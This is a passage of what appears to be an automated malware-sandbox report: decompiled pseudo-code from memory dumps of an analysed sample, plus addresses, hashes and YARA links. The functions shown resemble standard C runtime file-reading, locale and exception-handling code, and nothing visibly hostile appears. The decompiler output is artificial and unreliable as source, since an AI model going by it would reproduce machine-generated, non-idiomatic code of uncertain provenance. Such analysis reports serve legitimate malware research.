						if(_t228 == 0) {
							__eflags =  !_t210 & 0x00000001;
							if(__eflags == 0) {
								L14:
								 *(E00409379(__eflags)) =  *_t149 & _t240;
								 *((intOrPtr*)(E0040938C(__eflags))) = 0x16;
								E004092B2();
								goto L39;
							} else {
								_t154 = 4;
								_t212 = _t210 >> 1;
								_v16 = _t154;
								__eflags = _t212 - _t154;
								if(_t212 >= _t154) {
									_t154 = _t212;
									_v16 = _t212;
								}
								_t240 = E0040FE5B(_t154);
								E0040F644(0);
								E0040F644(0);
								_t243 = _t242 + 0xc;
								_v24 = _t240;
								__eflags = _t240;
								if(__eflags != 0) {
									_t158 = E004127CE(_t198, 0, 0, 1);
									_t242 = _t243 + 0x10;
									_t214 =  *((intOrPtr*)(0x4582c0 + _v12 * 4));
									 *((intOrPtr*)(_t235 + _t214 + 0x20)) = _t158;
									 *(_t235 + _t214 + 0x24) = _t228;
									_t229 = _t240;
									_t210 = _v16;
									_t143 =  *((intOrPtr*)(0x4582c0 + _v12 * 4));
									L22:
									_t199 = _v20;
									_t235 = 0;
									_v40 = _t229;
									__eflags =  *(_t199 + _t143 + 0x28) & 0x00000048;
									_t200 = _a4;
									if(( *(_t199 + _t143 + 0x28) & 0x00000048) != 0) {
										_t180 =  *((intOrPtr*)(_v20 + _t143 + 0x2a));
										_t200 = _a4;
										__eflags = _t180 - 0xa;
										if(_t180 != 0xa) {
											__eflags = _t210;
											if(_t210 != 0) {
												_t235 = 1;
												 *_t229 = _t180;
												_t231 = _t229 + 1;
												_t220 = _t210 - 1;
												__eflags = _v5;
												_v24 = _t231;
												_v16 = _t220;
												 *((char*)(_v20 +  *((intOrPtr*)(0x4582c0 + _v12 * 4)) + 0x2a)) = 0xa;
												_t200 = _a4;
												if(_v5 != 0) {
													_t185 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x4582c0 + _v12 * 4)) + 0x2b));
													_t200 = _a4;
													__eflags = _t185 - 0xa;
													if(_t185 != 0xa) {
														__eflags = _t220;
														if(_t220 != 0) {
															 *_t231 = _t185;
															_t232 = _t231 + 1;
															_t221 = _t220 - 1;
															__eflags = _v5 - 1;
															_v24 = _t232;
															_t235 = 2;
															_v16 = _t221;
															 *((char*)(_v20 +  *((intOrPtr*)(0x4582c0 + _v12 * 4)) + 0x2b)) = 0xa;
															_t200 = _a4;
															if(_v5 == 1) {
																_t190 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0x4582c0 + _v12 * 4)) + 0x2c));
																_t200 = _a4;
																__eflags = _t190 - 0xa;
																if(_t190 != 0xa) {
																	__eflags = _t221;
																	if(_t221 != 0) {
																		 *_t232 = _t190;
																		_t222 = _t221 - 1;
																		__eflags = _t222;
																		_v16 = _t222;
																		_v24 = _t232 + 1;
																		_t235 = 3;
																		 *((char*)(_v20 +  *((intOrPtr*)(0x4582c0 + _v12 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t160 = E0041A498(_t200);
									__eflags = _t160;
									if(_t160 == 0) {
										L42:
										_v36 = 0;
										L43:
										_t163 = ReadFile(_v28, _v24, _v16,  &_v32, 0);
										__eflags = _t163;
										if(_t163 == 0) {
											L54:
											_t164 = GetLastError();
											_t235 = 5;
											__eflags = _t164 - _t235;
											if(__eflags != 0) {
												__eflags = _t164 - 0x6d;
												if(_t164 != 0x6d) {
													L38:
													E00409356(_t164);
													goto L39;
												}
												_t236 = 0;
												goto L40;
											}
											 *((intOrPtr*)(E0040938C(__eflags))) = 9;
											 *(E00409379(__eflags)) = _t235;
											goto L39;
										}
										_t217 = _a12;
										__eflags = _v32 - _t217;
										if(_v32 > _t217) {
											goto L54;
										}
										_t236 = _t235 + _v32;
										__eflags = _t236;
										L46:
										_t230 = _v20;
										_t169 =  *((intOrPtr*)(0x4582c0 + _v12 * 4));
										__eflags =  *((char*)(_t230 + _t169 + 0x28));
										if( *((char*)(_t230 + _t169 + 0x28)) < 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v36;
												_push(_t236 >> 1);
												_push(_v40);
												_push(_t200);
												if(_v36 == 0) {
													_t170 = E00419B7E();
												} else {
													_t170 = E00419E84();
												}
											} else {
												_t218 = _t217 >> 1;
												__eflags = _t217 >> 1;
												_t170 = E00419D2D(_t217 >> 1, _t217 >> 1, _t200, _v24, _t236, _a8, _t218);
											}
											_t236 = _t170;
										}
										goto L40;
									}
									_t219 = _v20;
									_t172 =  *((intOrPtr*)(0x4582c0 + _v12 * 4));
									__eflags =  *((char*)(_t219 + _t172 + 0x28));
									if( *((char*)(_t219 + _t172 + 0x28)) >= 0) {
										goto L42;
									}
									_t174 = GetConsoleMode(_v28,  &_v44);
									__eflags = _t174;
									if(_t174 == 0) {
										goto L42;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L43;
									}
									_t178 = ReadConsoleW(_v28, _v24, _v16 >> 1,  &_v32, 0);
									__eflags = _t178;
									if(_t178 != 0) {
										_t217 = _a12;
										_t236 = _t235 + _v32 * 2;
										goto L46;
									}
									_t164 = GetLastError();
									goto L38;
								} else {
									 *((intOrPtr*)(E0040938C(__eflags))) = 0xc;
									 *(E00409379(__eflags)) = 8;
									L39:
									_t236 = _t235 | 0xffffffff;
									__eflags = _t236;
									L40:
									E0040F644(_t240);
									return _t236;
								}
							}
						}
						__eflags = _t228 == 1;
						if(_t228 == 1) {
							__eflags =  !_t210 & 0x00000001;
							if(__eflags != 0) {
								_t229 = _a8;
								_v16 = _t210;
								_v24 = _t229;
								_t143 =  *((intOrPtr*)(0x4582c0 + _v12 * 4));
								goto L22;
							}
							goto L14;
						} else {
							_t229 = _a8;
							_v16 = _t210;
							_v24 = _t229;
							goto L22;
						}
					}
					L6:
					 *(E00409379(__eflags)) =  *_t145 & 0x00000000;
					 *((intOrPtr*)(E0040938C(__eflags))) = 0x16;
					goto L60;
				} else {
					 *(E00409379(_t246)) =  *_t197 & 0x00000000;
					_t139 = E0040938C(_t246);
					 *_t139 = 9;
					L61:
					return _t139 | 0xffffffff;
				}
			}

0x0041a01c
0x0041a020
0x0041a023
0x0041a03d
0x0041a03f
0x0041a3a4
0x0041a3a4
0x0041a3a9
0x0041a3a9
0x0041a3b1
0x0041a3b7
0x0041a3b7
0x00000000
0x0041a3b7
0x0041a045
0x0041a04b
0x00000000
0x00000000
0x0041a055
0x0041a05b
0x0041a05e
0x0041a061
0x0041a06b
0x0041a06e
0x0041a071
0x0041a075
0x0041a077
0x00000000
0x00000000
0x0041a07d
0x0041a080
0x0041a086
0x0041a0a0
0x0041a0a2
0x0041a3a0
0x00000000
0x0041a3a0
0x0041a0a8
0x0041a0ab
0x00000000
0x00000000
0x0041a0b1
0x0041a0b5
0x00000000
0x00000000
0x0041a0bb
0x0041a0be
0x0041a0c2
0x0041a0c9
0x0041a0cb
0x0041a0cb
0x0041a0ce
0x0041a123
0x0041a125
0x0041a0eb
0x0041a0f0
0x0041a0f7
0x0041a0fd
0x00000000
0x0041a127
0x0041a129
0x0041a12a
0x0041a12c
0x0041a12f
0x0041a131
0x0041a133
0x0041a135
0x0041a135
0x0041a140
0x0041a142
0x0041a149
0x0041a14e
0x0041a151
0x0041a154
0x0041a156
0x0041a17a
0x0041a182
0x0041a185
0x0041a18c
0x0041a193
0x0041a197
0x0041a199
0x0041a19c
0x0041a1a3
0x0041a1a3
0x0041a1a6
0x0041a1a8
0x0041a1ab
0x0041a1b0
0x0041a1b3
0x0041a1bc
0x0041a1c0
0x0041a1c3
0x0041a1c5
0x0041a1cb
0x0041a1cd
0x0041a1d6
0x0041a1d7
0x0041a1d9
0x0041a1dd
0x0041a1de
0x0041a1e2
0x0041a1e5
0x0041a1ef
0x0041a1f4
0x0041a1f7
0x0041a206
0x0041a20a
0x0041a20d
0x0041a20f
0x0041a211
0x0041a213
0x0041a218
0x0041a21a
0x0041a21e
0x0041a21f
0x0041a225
0x0041a22f
0x0041a230
0x0041a233
0x0041a238
0x0041a23b
0x0041a24a
0x0041a24e
0x0041a251
0x0041a253
0x0041a255
0x0041a257
0x0041a259
0x0041a25f
0x0041a25f
0x0041a260
0x0041a26f
0x0041a272
0x0041a273
0x0041a273
0x0041a257
0x0041a253
0x0041a23b
0x0041a213
0x0041a20f
0x0041a1f7
0x0041a1cd
0x0041a1c5
0x0041a279
0x0041a27f
0x0041a281
0x0041a2f4
0x0041a2f4
0x0041a2f8
0x0041a308
0x0041a30e
0x0041a310
0x0041a36c
0x0041a36c
0x0041a374
0x0041a375
0x0041a377
0x0041a390
0x0041a393
0x0041a2d0
0x0041a2d1
0x00000000
0x0041a2d6
0x0041a399
0x00000000
0x0041a399
0x0041a37e
0x0041a389
0x00000000
0x0041a389
0x0041a312
0x0041a315
0x0041a318
0x00000000
0x00000000
0x0041a31a
0x0041a31a
0x0041a31d
0x0041a320
0x0041a323
0x0041a32a
0x0041a32f
0x0041a331
0x0041a335
0x0041a350
0x0041a354
0x0041a355
0x0041a358
0x0041a359
0x0041a365
0x0041a35b
0x0041a35b
0x0041a35b
0x0041a337
0x0041a337
0x0041a337
0x0041a342
0x0041a347
0x0041a34a
0x0041a34a
0x00000000
0x0041a32f
0x0041a286
0x0041a289
0x0041a290
0x0041a295
0x00000000
0x00000000
0x0041a29e
0x0041a2a4
0x0041a2a6
0x00000000
0x00000000
0x0041a2a8
0x0041a2ac
0x00000000
0x00000000
0x0041a2c0
0x0041a2c6
0x0041a2c8
0x0041a2ec
0x0041a2ef
0x00000000
0x0041a2ef
0x0041a2ca
0x00000000
0x0041a158
0x0041a15d
0x0041a168
0x0041a2d7
0x0041a2d7
0x0041a2d7
0x0041a2da
0x0041a2db
0x00000000
0x0041a2e3
0x0041a156
0x0041a125
0x0041a0d0
0x0041a0d3
0x0041a0e7
0x0041a0e9
0x0041a10a
0x0041a10d
0x0041a110
0x0041a113
0x00000000
0x0041a113
0x00000000
0x0041a0d5
0x0041a0d5
0x0041a0d8
0x0041a0db
0x00000000
0x0041a0db
0x0041a0d3
0x0041a088
0x0041a08d
0x0041a095
0x00000000
0x0041a025
0x0041a02a
0x0041a02d
0x0041a032
0x0041a3bc
0x00000000
0x0041a3bc

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c630e8f96a050a42065ef5dd40e85813e6b0f4a7f0c4ec3a0a542ee4a93204b
Instruction ID: 4b50b103c970a8ff0c21f00a85ad10d5cfc9e9dfc5128dc51fe98309c3295134
Opcode Fuzzy Hash: 6c630e8f96a050a42065ef5dd40e85813e6b0f4a7f0c4ec3a0a542ee4a93204b
Instruction Fuzzy Hash: E6C1F570D05209AFDF11DF99C840BEEBBB0AF59304F0441AAE814A7392C7799D91CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0271A47A Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93e0f33b310f727b9673d94e9bab52647a456ca90e46ce71bbde833251519adb
Instruction ID: d94953f4d0e10ac503d3dad5f79753cdaf4b1399c77d95d54c66e63fcfd68889
Opcode Fuzzy Hash: 93e0f33b310f727b9673d94e9bab52647a456ca90e46ce71bbde833251519adb
Instruction Fuzzy Hash: 6BC1D1B4E0520AEFDB16DF9CC894BBDBBB1AF49314F004069E505AB392DB709A41CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0041719E Relevance: 13.7, APIs: 9, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0041719E(void* __edx, char _a4) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				signed int _t60;
				signed int _t69;
				signed int _t71;
				signed int _t74;
				signed int _t77;
				char _t82;
				void* _t93;
				signed int _t96;
				char _t107;
				char _t108;
				void* _t113;
				char* _t114;
				signed int _t120;
				signed int* _t121;
				char _t123;
				intOrPtr* _t125;
				char* _t130;

				_t113 = __edx;
				_t123 = _a4;
				_v24 = _t123;
				_v20 = 0;
				if( *((intOrPtr*)(_t123 + 0xb0)) != 0 ||  *((intOrPtr*)(_t123 + 0xac)) != 0) {
					_v16 = 1;
					_t93 = E0040FEA9(1, 0x50);
					if(_t93 != 0) {
						_t96 = 0x14;
						memcpy(_t93,  *(_t123 + 0x88), _t96 << 2);
						_t125 = E0040FE5B(4);
						_t120 = 0;
						_v8 = _t125;
						E0040F644(0);
						if(_t125 != 0) {
							 *_t125 = 0;
							_t123 = _a4;
							if( *((intOrPtr*)(_t123 + 0xb0)) == 0) {
								_t53 =  *0x42c120; // 0x42c174
								 *_t93 = _t53;
								_t54 =  *0x42c124; // 0x458068
								 *((intOrPtr*)(_t93 + 4)) = _t54;
								_t55 =  *0x42c128; // 0x458068
								 *((intOrPtr*)(_t93 + 8)) = _t55;
								_t56 =  *0x42c150; // 0x42c178
								 *((intOrPtr*)(_t93 + 0x30)) = _t56;
								_t57 =  *0x42c154; // 0x45806c
								 *((intOrPtr*)(_t93 + 0x34)) = _t57;
								L19:
								 *_v8 = 1;
								if(_t120 != 0) {
									 *_t120 = 1;
								}
								goto L21;
							}
							_t121 = E0040FE5B(4);
							_v12 = _t121;
							E0040F644(0);
							_push(_t93);
							if(_t121 != 0) {
								 *_t121 =  *_t121 & 0x00000000;
								_t122 =  *((intOrPtr*)(_t123 + 0xb0));
								_t69 = E00412A43(_t113);
								_t16 = _t93 + 4; // 0x4
								_t71 = E00412A43(_t113,  &_v24, 1,  *((intOrPtr*)(_t123 + 0xb0)), 0xf, _t16,  &_v24);
								_t18 = _t93 + 8; // 0x8
								_t74 = E00412A43(_t113,  &_v24, 1,  *((intOrPtr*)(_t123 + 0xb0)), 0x10, _t18, 1);
								_t77 = E00412A43(_t113,  &_v24, 2,  *((intOrPtr*)(_t123 + 0xb0)), 0xe, _t93 + 0x30, _t122);
								_t22 = _t93 + 0x34; // 0x34
								if((E00412A43(_t113,  &_v24, 2, _t122, 0xf, _t22, 0xe) | _t69 | _t71 | _t74 | _t77) == 0) {
									_t114 =  *((intOrPtr*)(_t93 + 8));
									while(1) {
										_t82 =  *_t114;
										if(_t82 == 0) {
											break;
										}
										_t30 = _t82 - 0x30; // -48
										_t107 = _t30;
										if(_t107 > 9) {
											if(_t82 != 0x3b) {
												L16:
												_t114 = _t114 + 1;
												continue;
											}
											_t130 = _t114;
											do {
												_t108 =  *((intOrPtr*)(_t130 + 1));
												 *_t130 = _t108;
												_t130 = _t130 + 1;
											} while (_t108 != 0);
											continue;
										}
										 *_t114 = _t107;
										goto L16;
									}
									_t120 = _v12;
									_t123 = _a4;
									goto L19;
								}
								E00417135(_t93);
								E0040F644(_t93);
								E0040F644(_v12);
								_v16 = _v16 | 0xffffffff;
								L12:
								E0040F644(_v8);
								return _v16;
							}
							E0040F644();
							goto L12;
						}
						E0040F644(_t93);
						return 1;
					}
					return 1;
				} else {
					_t120 = 0;
					_v8 = 0;
					_t93 = 0x42c120;
					L21:
					_t60 =  *(_t123 + 0x80);
					if(_t60 != 0) {
						asm("lock dec dword [eax]");
					}
					if( *((intOrPtr*)(_t123 + 0x7c)) != 0) {
						asm("lock xadd [ecx], eax");
						if((_t60 | 0xffffffff) == 0) {
							E0040F644( *((intOrPtr*)(_t123 + 0x7c)));
							E0040F644( *(_t123 + 0x88));
						}
					}
					 *((intOrPtr*)(_t123 + 0x7c)) = _v8;
					 *(_t123 + 0x80) = _t120;
					 *(_t123 + 0x88) = _t93;
					return 0;
				}
			}

0x0041719e
0x004171a8
0x004171ae
0x004171b1
0x004171ba
0x004171d9
0x004171e1
0x004171e7
0x004171fa
0x004171fb
0x00417204
0x00417206
0x00417209
0x0041720c
0x00417215
0x00417226
0x00417228
0x00417231
0x00417380
0x00417385
0x00417387
0x0041738c
0x0041738f
0x00417394
0x00417397
0x0041739c
0x0041739f
0x004173a4
0x00417313
0x00417319
0x0041731d
0x0041731f
0x0041731f
0x00000000
0x0041731d
0x0041723e
0x00417242
0x00417245
0x0041724c
0x0041724f
0x0041725c
0x00417262
0x0041726e
0x00417273
0x00417282
0x00417289
0x00417296
0x004172aa
0x004172b4
0x004172cb
0x004172f7
0x00417307
0x00417307
0x0041730b
0x00000000
0x00000000
0x004172fc
0x004172fc
0x00417302
0x0041736e
0x00417306
0x00417306
0x00000000
0x00417306
0x00417370
0x00417372
0x00417372
0x00417375
0x00417377
0x0041737a
0x00000000
0x0041737e
0x00417304
0x00000000
0x00417304
0x0041730d
0x00417310
0x00000000
0x00417310
0x004172ce
0x004172d4
0x004172dc
0x004172e4
0x004172e8
0x004172ec
0x00000000
0x004172f4
0x00417251
0x00000000
0x00417256
0x00417218
0x00000000
0x00417220
0x00000000
0x004171c4
0x004171c4
0x004171c6
0x004171c9
0x00417321
0x00417321
0x00417329
0x0041732b
0x0041732b
0x00417333
0x00417338
0x0041733c
0x00417341
0x0041734c
0x00417352
0x0041733c
0x00417356
0x0041735b
0x00417361
0x00000000
0x00417361

APIs

_free.LIBCMT ref: 0041720C
_free.LIBCMT ref: 00417218
_free.LIBCMT ref: 00417341
_free.LIBCMT ref: 0041734C

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 17e50424f478548a65b9202cf542a521886e1bc0bd4248979e3b8ad450de9cf7
Instruction ID: 5ad4d7d6fe10585e9da2452d10ee58e191f1e2e1d49b55a646fa26c236e60eb2
Opcode Fuzzy Hash: 17e50424f478548a65b9202cf542a521886e1bc0bd4248979e3b8ad450de9cf7
Instruction Fuzzy Hash: FD6103719042049FDB20DF65C882BABB7F4AF44710F24443BED55EB291EB74A981DB58

Uniqueness

Uniqueness Score: -1.00%

Function 02717605 Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02717673
_free.LIBCMT ref: 0271767F
_free.LIBCMT ref: 027177A8
_free.LIBCMT ref: 027177B3

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 30282dae4e1517f802733acd986744e12299eca20903ea8088999bd3a28cf977
Instruction ID: 866d03633dbd2e9e8951da1f01ede0be8c0f336c3a5d017b3c146d68c97e710c
Opcode Fuzzy Hash: 30282dae4e1517f802733acd986744e12299eca20903ea8088999bd3a28cf977
Instruction Fuzzy Hash: 7A61F672A003069FD725DF7CC885BAAF7FAAF48710F104529E845EB281EB709945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00407FF8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00407FF8(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t201;
				signed int _t202;
				char _t203;
				signed int _t205;
				signed int _t207;
				signed char* _t208;
				signed int _t209;
				signed int _t210;
				signed int _t214;
				void* _t217;
				signed char* _t220;
				void* _t222;
				void* _t224;
				signed char _t228;
				signed int _t229;
				void* _t231;
				void* _t234;
				void* _t237;
				signed int _t247;
				void* _t250;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr _t253;
				signed int _t254;
				void* _t259;
				void* _t264;
				void* _t265;
				signed int _t269;
				signed char* _t270;
				intOrPtr* _t271;
				signed char _t272;
				signed int _t273;
				signed int _t274;
				intOrPtr* _t276;
				signed int _t277;
				signed int _t278;
				signed int _t283;
				signed int _t290;
				signed int _t291;
				signed int _t294;
				signed int _t296;
				signed char* _t297;
				signed int _t298;
				signed char _t299;
				signed int* _t301;
				signed char* _t304;
				signed int _t314;
				signed int _t315;
				signed int _t317;
				signed int _t327;
				void* _t329;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;

				_t296 = __edx;
				_push(_t315);
				_t301 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t275 = E00408F70(_a8, _a16, _t301);
				_t332 = _t331 + 0xc;
				_v12 = _t275;
				if(_t275 < 0xffffffff || _t275 >= _t301[1]) {
					L67:
					_t201 = E0040B689(_t270, _t275, _t296, _t301, _t315);
					asm("int3");
					_t329 = _t332;
					_t333 = _t332 - 0x38;
					_push(_t270);
					_t271 = _v112;
					__eflags =  *_t271 - 0x80000003;
					if( *_t271 == 0x80000003) {
						return _t201;
					} else {
						_t202 = L00407C7C(_t271, _t275, _t296, _t301, _t315, _t301, _t315);
						__eflags =  *(_t202 + 8);
						if( *(_t202 + 8) != 0) {
							__imp__EncodePointer(0);
							_t315 = _t202;
							_t222 = L00407C7C(_t271, _t275, _t296, 0, _t315);
							__eflags =  *((intOrPtr*)(_t222 + 8)) - _t315;
							if( *((intOrPtr*)(_t222 + 8)) != _t315) {
								__eflags =  *_t271 - 0xe0434f4d;
								if( *_t271 != 0xe0434f4d) {
									__eflags =  *_t271 - 0xe0434352;
									if( *_t271 != 0xe0434352) {
										_t214 = E00405F13(_t296, 0, _t315, _t271, _a4, _a8, _a12, _a16, _a24, _a28);
										_t333 = _t333 + 0x1c;
										__eflags = _t214;
										if(_t214 != 0) {
											L84:
											return _t214;
										}
									}
								}
							}
						}
						_t203 = _a16;
						_v28 = _t203;
						_v24 = 0;
						__eflags =  *(_t203 + 0xc);
						if( *(_t203 + 0xc) > 0) {
							_push(_a24);
							E00405E46(_t271, _t275, 0, _t315,  &_v44,  &_v28, _a20, _a12, _t203);
							_t298 = _v40;
							_t334 = _t333 + 0x18;
							_t214 = _v44;
							_v20 = _t214;
							_v12 = _t298;
							__eflags = _t298 - _v32;
							if(_t298 >= _v32) {
								goto L84;
							}
							_t277 = _t298 * 0x14;
							__eflags = _t277;
							_v16 = _t277;
							do {
								_t278 = 5;
								_t217 = memcpy( &_v64,  *((intOrPtr*)( *_t214 + 0x10)) + _t277, _t278 << 2);
								_t334 = _t334 + 0xc;
								__eflags = _v64 - _t217;
								if(_v64 > _t217) {
									goto L83;
								}
								__eflags = _t217 - _v60;
								if(_t217 > _v60) {
									goto L83;
								}
								_t220 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t283 = _t220[4];
								__eflags = _t283;
								if(_t283 == 0) {
									L81:
									__eflags =  *_t220 & 0x00000040;
									if(( *_t220 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E00407F78(_t298, _t271, _a4, _a8, _a12, _a16, _t220, 0,  &_v64, _a24, _a28);
										_t298 = _v12;
										_t334 = _t334 + 0x30;
									}
									goto L83;
								}
								__eflags =  *((char*)(_t283 + 8));
								if( *((char*)(_t283 + 8)) != 0) {
									goto L83;
								}
								goto L81;
								L83:
								_t298 = _t298 + 1;
								_t214 = _v20;
								_t277 = _v16 + 0x14;
								_v12 = _t298;
								_v16 = _t277;
								__eflags = _t298 - _v32;
							} while (_t298 < _v32);
							goto L84;
						}
						E0040B689(_t271, _t275, _t296, 0, _t315);
						asm("int3");
						_push(_t329);
						_t297 = _v184;
						_push(_t271);
						_push(_t315);
						_push(0);
						_t205 = _t297[4];
						__eflags = _t205;
						if(_t205 == 0) {
							L109:
							_t207 = 1;
							__eflags = 1;
						} else {
							_t276 = _t205 + 8;
							__eflags =  *_t276;
							if( *_t276 == 0) {
								goto L109;
							} else {
								__eflags =  *_t297 & 0x00000080;
								_t304 = _v0;
								if(( *_t297 & 0x00000080) == 0) {
									L91:
									_t272 = _t304[4];
									_t317 = 0;
									__eflags = _t205 - _t272;
									if(_t205 == _t272) {
										L101:
										__eflags =  *_t304 & 0x00000002;
										if(( *_t304 & 0x00000002) == 0) {
											L103:
											_t208 = _a4;
											__eflags =  *_t208 & 0x00000001;
											if(( *_t208 & 0x00000001) == 0) {
												L105:
												__eflags =  *_t208 & 0x00000002;
												if(( *_t208 & 0x00000002) == 0) {
													L107:
													_t317 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t297 & 0x00000002;
													if(( *_t297 & 0x00000002) != 0) {
														goto L107;
													}
												}
											} else {
												__eflags =  *_t297 & 0x00000001;
												if(( *_t297 & 0x00000001) != 0) {
													goto L105;
												}
											}
										} else {
											__eflags =  *_t297 & 0x00000008;
											if(( *_t297 & 0x00000008) != 0) {
												goto L103;
											}
										}
										_t207 = _t317;
									} else {
										_t184 = _t272 + 8; // 0x6e
										_t209 = _t184;
										while(1) {
											_t273 =  *_t276;
											__eflags = _t273 -  *_t209;
											if(_t273 !=  *_t209) {
												break;
											}
											__eflags = _t273;
											if(_t273 == 0) {
												L97:
												_t210 = _t317;
											} else {
												_t274 =  *((intOrPtr*)(_t276 + 1));
												__eflags = _t274 -  *((intOrPtr*)(_t209 + 1));
												if(_t274 !=  *((intOrPtr*)(_t209 + 1))) {
													break;
												} else {
													_t276 = _t276 + 2;
													_t209 = _t209 + 2;
													__eflags = _t274;
													if(_t274 != 0) {
														continue;
													} else {
														goto L97;
													}
												}
											}
											L99:
											__eflags = _t210;
											if(_t210 == 0) {
												goto L101;
											} else {
												_t207 = 0;
											}
											goto L110;
										}
										asm("sbb eax, eax");
										_t210 = _t209 | 0x00000001;
										__eflags = _t210;
										goto L99;
									}
								} else {
									__eflags =  *_t304 & 0x00000010;
									if(( *_t304 & 0x00000010) != 0) {
										goto L109;
									} else {
										goto L91;
									}
								}
							}
						}
						L110:
						return _t207;
					}
				} else {
					_t270 = _a4;
					if( *_t270 != 0xe06d7363 || _t270[0x10] != 3 || _t270[0x14] != 0x19930520 && _t270[0x14] != 0x19930521 && _t270[0x14] != 0x19930522) {
						L22:
						_t296 = _a12;
						_v8 = _t296;
						goto L24;
					} else {
						_t315 = 0;
						if(_t270[0x1c] != 0) {
							goto L22;
						} else {
							_t224 = L00407C7C(_t270, _t275, _t296, _t301, 0);
							if( *((intOrPtr*)(_t224 + 0x10)) == 0) {
								L61:
								return _t224;
							} else {
								_t270 =  *(L00407C7C(_t270, _t275, _t296, _t301, 0) + 0x10);
								_t259 = L00407C7C(_t270, _t275, _t296, _t301, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t259 + 0x14));
								if(_t270 == 0 ||  *_t270 == 0xe06d7363 && _t270[0x10] == 3 && (_t270[0x14] == 0x19930520 || _t270[0x14] == 0x19930521 || _t270[0x14] == 0x19930522) && _t270[0x1c] == _t315) {
									goto L67;
								} else {
									if( *((intOrPtr*)(L00407C7C(_t270, _t275, _t296, _t301, _t315) + 0x1c)) == _t315) {
										L23:
										_t296 = _v8;
										_t275 = _v12;
										L24:
										_v52 = _t301;
										_v48 = 0;
										__eflags =  *_t270 - 0xe06d7363;
										if( *_t270 != 0xe06d7363) {
											L57:
											__eflags = _t301[3];
											if(_t301[3] <= 0) {
												goto L60;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L67;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t275);
													_push(_t301);
													_push(_a16);
													_push(_t296);
													_push(_a8);
													_push(_t270);
													L68();
													_t332 = _t332 + 0x20;
													goto L60;
												}
											}
										} else {
											__eflags = _t270[0x10] - 3;
											if(_t270[0x10] != 3) {
												goto L57;
											} else {
												__eflags = _t270[0x14] - 0x19930520;
												if(_t270[0x14] == 0x19930520) {
													L29:
													_t315 = _a32;
													__eflags = _t301[3];
													if(_t301[3] > 0) {
														_push(_a28);
														E00405E46(_t270, _t275, _t301, _t315,  &_v68,  &_v52, _t275, _a16, _t301);
														_t296 = _v64;
														_t332 = _t332 + 0x18;
														_t247 = _v68;
														_v44 = _t247;
														_v16 = _t296;
														__eflags = _t296 - _v56;
														if(_t296 < _v56) {
															_t290 = _t296 * 0x14;
															__eflags = _t290;
															_v32 = _t290;
															do {
																_t291 = 5;
																_t250 = memcpy( &_v104,  *((intOrPtr*)( *_t247 + 0x10)) + _t290, _t291 << 2);
																_t332 = _t332 + 0xc;
																__eflags = _v104 - _t250;
																if(_v104 <= _t250) {
																	__eflags = _t250 - _v100;
																	if(_t250 <= _v100) {
																		_t294 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
